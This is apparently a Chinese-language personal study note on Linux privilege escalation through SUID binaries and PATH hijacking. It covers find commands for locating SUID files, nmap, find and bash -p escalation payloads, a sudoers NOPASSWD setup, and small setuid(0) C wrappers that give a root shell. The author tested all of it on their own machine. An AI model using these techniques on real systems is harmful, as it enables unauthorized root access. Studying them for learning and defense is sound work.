Linux提权学习记录

suid提权

前置知识

Linux文件权限

Linux 文件基本属性

suid属性

概述

suid(也叫setuid,全称是Set owner User ID up on execution),是Linux中二进制可执行文件的执行权限属性。关于uid可以通过文章Linux内核学习笔记: uid之ruid,euid,suid了解。

正常来说,RUID(真实用户ID)和EUID(有效用户ID)是一样的,但是当一个被设置了suid位的二进制可执行文件运行时,它的RUID是当前执行文件用户的ID,而EUID是文件所有者的用户ID。根据RUID保存进程创建用户ID、EUID确定进程对系统资源访问权限的作用,当前执行可执行文件的用户在文件运行时可以拥有文件所有者的权限。

设置suid位

符号表示法

1
sudo chmod +s filename # 添加suid位

数字表示法

suid位虽然显示在x位上,但赋予权限时suid位并不是拥有一个权限数值覆盖x,而是在其他位上。通过文章linux:SUID、SGID详解可知,Unix通过12位权限位管理文件权限:S G T r w x r w x r w x,所以修改权限时不能将先后次序弄混

1
2
3
4
sudo chmod 4### filename
# suid: 4
# sgid: 2
# sbit: 1

提权

提权条件

什么样的文件所有者才能实现suid提权?P神在他的文章中说明了只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。也就是只有系统管理员(root用户或sudo命令的用户)加suid属性才能实现suid提权。

所以,suid提权条件应该是:

  • 文件所有者UID=0或其他superuser
  • 文件所有者和当前用户都对二进制可执行文件有suid权限

常见可利用文件

在实际应用时,我们不可能自己通过root用户去编译一个C去提权,因此拥有suid权限的可执行文件就显得非常必要。

寻找有suid权限的可执行文件payload

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

除此之外,常被提及的suid提权文件也能在实际使用时提供更为便捷的帮助,毕竟有目的的搜集比列一堆不知道啥玩意的要好得多。

nmap

2.02~5.21版本的nmap存在交互模式,可以通过以下命令提权

nmap --interactive

5.20版本之后interactive模块被删除,之前的姿势就不能用了,有师傅提出了5.20版本之后的加载自定义script可以提权,但是经过测试发现生成shell的权限取决于使用nmap的用户。

1
echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

类似这种payload,使用sudo命令的用户生成的shell是root权限,换回普通用户就无了。那问题来了,都能sudo了为什么还要suid提权?Linux SUID 提权提到了一个文件/etc/sudoers,该文件中有一个配置选项可以让用户通过sudo命令执行某些命令时不需要进行密码验证,因此如果在不知道用户密码的情况下无法正常使用sudo时刚好设置了nmap的无密码验证sudo执行,这时候就可以使用上面的payload成功提权了。

测试:

/etc/sudoers

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

修改配置

# Allow members of group sudo to execute any command
# %sudo	ALL=(ALL:ALL) ALL
tyskill	ALL=(root) NOPASSWD: /usr/bin/nmap

此时执行上面的payload,成功提权。

并且我发现执行sudo -l时也不需要进行密码验证,之前还怀疑是不是由于sudo验证过了所以执行sudo -l时不用验证,原来设置了这个之后执行sudo -l就不需要验证了

find

find可用来查找系统中指定文件,同时它也有执行命令的能力。

1
2
3
sudo chmod +s /usr/bin/find
touch tyskill
find tyskill -exec whoami \; # ;不可少
bash
1
2
sudo chmod +s /bin/bash
/bin/bash -p

关于p参数的说明:

bash:在https://linux.die.net/man/1/bash中可知不添加p参数时,如果启动bash时的Effective UID与Real UID不相同,bash会将euid还原成ruid。

dash:与bash不同,dash没有修改euid,可以直接进行suid提权。但由于Ubuntu会对一些官方程序进行修改,所以Ubuntu中/bin/sh指向的的dash是dash,但又不完全是dash,因此p参数又变成必须了。

绕过

虽然不加p参数的bash会将euid还原为ruid,但是如果我们直接改变ruid,就能实现无p参数的bash提权。

1
2
3
4
5
6
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
    setuid(0); // root UID
    return system(argv[1]);
}

编译执行id命令返回

用户id=0(root) 组id=1000(tyskill) 组=1000(tyskill)

成功提权。同理,Ubuntu的dash也可以这样绕过。

其他

其他的诸如vim、less、nano都只是在当前用户上生成一个shell,可能是因为shell只是/bin/sh起不到suid提权的效果,但是加了p参数甚至连shell都无法生成。因此这种提权还是需要上面提到的/etc/sudoers配合无密码验证sudo执行,然后生成root权限的shell。

更多姿势可参考利用suid提权获取CentOS系统Root Shell

防御

知其攻,接下来就是知其防了。看不懂,咕了吧,反正现在用不着

SUID Disabler and Permission Hardener

参考

Linux 文件基本属性

linux:SUID、SGID详解

Linux内核学习笔记: uid之ruid,euid,suid

SUID Executables

谈一谈Linux与suid提权

Linux SUID 提权

SUID Disabler and Permission Hardener

利用suid提权获取CentOS系统Root Shell

PATH提权

前置知识

Linux环境变量

Linux环境变量配置全攻略

$PATH

$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的binsbin目录,各目录之间用冒号:隔开。当执行某个命令时,Linux 会依照 PATH 中的目录依次搜寻该命令的可执行文件,找到就执行,不然就报错。此外,超级用户通常还具有/sbin/usr/sbin目录,以便轻松执行系统管理命令。

$PATH内容可通过echo $PATH命令查看。

提权

当我们将恶意二进制文件所在目录插入到PATH的第一个目录时,由于PATH提供了依次搜寻命令的目录地址,所以root执行命令就会优先执行我们插入目录下的二进制文件实现提权。

挑选一个目录/tmp创建test.c

1
2
3
4
5
6
#include <stdio.h>
#include <stdlib.h>
int main() {
    setuid(0); // root UID
    return system("ps");
}

root用户编译并赋予suid属性

1
2
gcc test.c -o shell
chmod +s shell

回到低权限用户,创建ps文件,写入要执行的命令并赋予执行权限

1
2
echo "/bin/sh" > ps
chmod +x ps

最后插入PATH目录

1
export PATH=/tmp:$PATH

执行./shell成功提权

总结

进行PATH提权的前提就是能进行suid提权,所以需要先使用payload寻找suid文件,然后读取文件内容看是否有非绝对路径的命令,如root直接运行chmod等。

参考

Linux环境变量提权

Linux环境变量配置全攻略